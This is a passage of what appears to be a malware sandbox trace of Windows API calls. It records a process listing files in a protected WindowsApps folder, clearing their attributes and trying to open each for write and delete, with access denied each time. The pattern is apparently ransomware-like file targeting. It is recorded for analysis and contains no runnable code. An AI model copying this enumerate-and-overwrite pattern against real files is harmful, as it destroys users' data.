	[0082.217] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.218] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.218] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.218] GetLastError () returned 0x5
	[0082.218] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.219] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f1b0) returned 1

Thread:
	id = 908
	os_tid = 0xfc4

	[0082.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718aa0
	[0082.219] wcscpy (in: _Dest=0x4718aa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0082.219] wcscat (in: _Dest=0x4718aa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0082.219] wcscat (in: _Dest=0x4718aa0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0082.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4716100
	[0082.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdf7b05, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab2732ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d1b15f4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6b50
	[0082.221] wcscmp (_String1=".", _String2=".") returned 0
	[0082.221] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdf7b05, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab2732ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d1b15f4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.222] wcscmp (_String1="..", _String2=".") returned 1
	[0082.222] wcscmp (_String1="..", _String2="..") returned 0
	[0082.222] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cdf7b05, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cdf7b05, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cdf7b05, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="256x256.png", cAlternateFileName="")) returned 1
	[0082.222] wcscmp (_String1="256x256.png", _String2=".") returned 1
	[0082.222] wcscmp (_String1="256x256.png", _String2="..") returned 1
	[0082.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33900
	[0082.222] wcscpy (in: _Dest=0x4e33900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0082.222] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0082.222] wcscat (in: _Dest=0x4e33900, _Source="256x256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png"
	[0090.789] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\256x256.png")) returned 0x20
	[0090.793] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png", dwFileAttributes=0x20) returned 0
	[0090.793] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\256x256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.793] GetLastError () returned 0x5
	[0090.793] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\256x256.png", dwFileAttributes=0x20) returned 0
	[0090.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0090.793] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cdf7b05, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9cdf7b05, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9cdf7b05, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.scale-200.png", cAlternateFileName="")) returned 1
	[0090.793] wcscmp (_String1="AppPackageAppList.scale-200.png", _String2=".") returned 1
	[0090.793] wcscmp (_String1="AppPackageAppList.scale-200.png", _String2="..") returned 1
	[0090.793] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716bf8
	[0090.793] wcscpy (in: _Dest=0x4716bf8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.794] wcscat (in: _Dest=0x4716bf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.794] wcscat (in: _Dest=0x4716bf8, _Source="AppPackageAppList.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png"
	[0090.794] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.scale-200.png")) returned 0x20
	[0090.799] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.799] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.799] GetLastError () returned 0x5
	[0090.799] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716bf8) returned 1
	[0090.799] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce1dd5e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce1dd5e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce1dd5e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.799] wcscmp (_String1="AppPackageAppList.targetsize-16.png", _String2=".") returned 1
	[0090.799] wcscmp (_String1="AppPackageAppList.targetsize-16.png", _String2="..") returned 1
	[0090.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.799] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.799] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.799] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png"
	[0090.799] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-16.png")) returned 0x20
	[0090.801] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.801] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.801] GetLastError () returned 0x5
	[0090.801] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.801] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce1dd5e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce1dd5e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce1dd5e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-16_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.801] wcscmp (_String1="AppPackageAppList.targetsize-16_altform-unplated.png", _String2=".") returned 1
	[0090.801] wcscmp (_String1="AppPackageAppList.targetsize-16_altform-unplated.png", _String2="..") returned 1
	[0090.801] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc790
	[0090.801] wcscpy (in: _Dest=0x4ebc790, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.801] wcscat (in: _Dest=0x4ebc790, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.801] wcscat (in: _Dest=0x4ebc790, _Source="AppPackageAppList.targetsize-16_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png"
	[0090.801] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-16_altform-unplated.png")) returned 0x20
	[0090.801] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.801] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.802] GetLastError () returned 0x5
	[0090.802] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc790) returned 1
	[0090.802] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce1dd5e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce1dd5e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce1dd5e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-20.png", cAlternateFileName="")) returned 1
	[0090.802] wcscmp (_String1="AppPackageAppList.targetsize-20.png", _String2=".") returned 1
	[0090.802] wcscmp (_String1="AppPackageAppList.targetsize-20.png", _String2="..") returned 1
	[0090.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.802] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.802] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.802] wcscat (in: _Dest=0x2d5af20, _Source="AppPackageAppList.targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png"
	[0090.802] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-20.png")) returned 0x20
	[0090.804] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.804] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.804] GetLastError () returned 0x5
	[0090.804] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0090.804] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce1dd5e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce1dd5e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce1dd5e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-20_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.804] wcscmp (_String1="AppPackageAppList.targetsize-20_altform-unplated.png", _String2=".") returned 1
	[0090.804] wcscmp (_String1="AppPackageAppList.targetsize-20_altform-unplated.png", _String2="..") returned 1
	[0090.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0090.805] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.805] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.805] wcscat (in: _Dest=0x4ebc178, _Source="AppPackageAppList.targetsize-20_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png"
	[0090.805] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-20_altform-unplated.png")) returned 0x20
	[0090.808] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.808] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-20_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.809] GetLastError () returned 0x5
	[0090.809] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.809] FindNextFileW (in: hFindFile=0x46a6b50, lpFindFileData=0x4716100 | out: lpFindFileData=0x4716100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce1dd5e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9ce1dd5e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9ce1dd5e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.targetsize-24.png", cAlternateFileName="")) returned 1
	[0090.809] wcscmp (_String1="AppPackageAppList.targetsize-24.png", _String2=".") returned 1
	[0090.809] wcscmp (_String1="AppPackageAppList.targetsize-24.png", _String2="..") returned 1
	[0090.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5af20
	[0090.809] wcscpy (in: _Dest=0x2d5af20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.809] wcscat (in: _Dest=0x2d5af20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\"
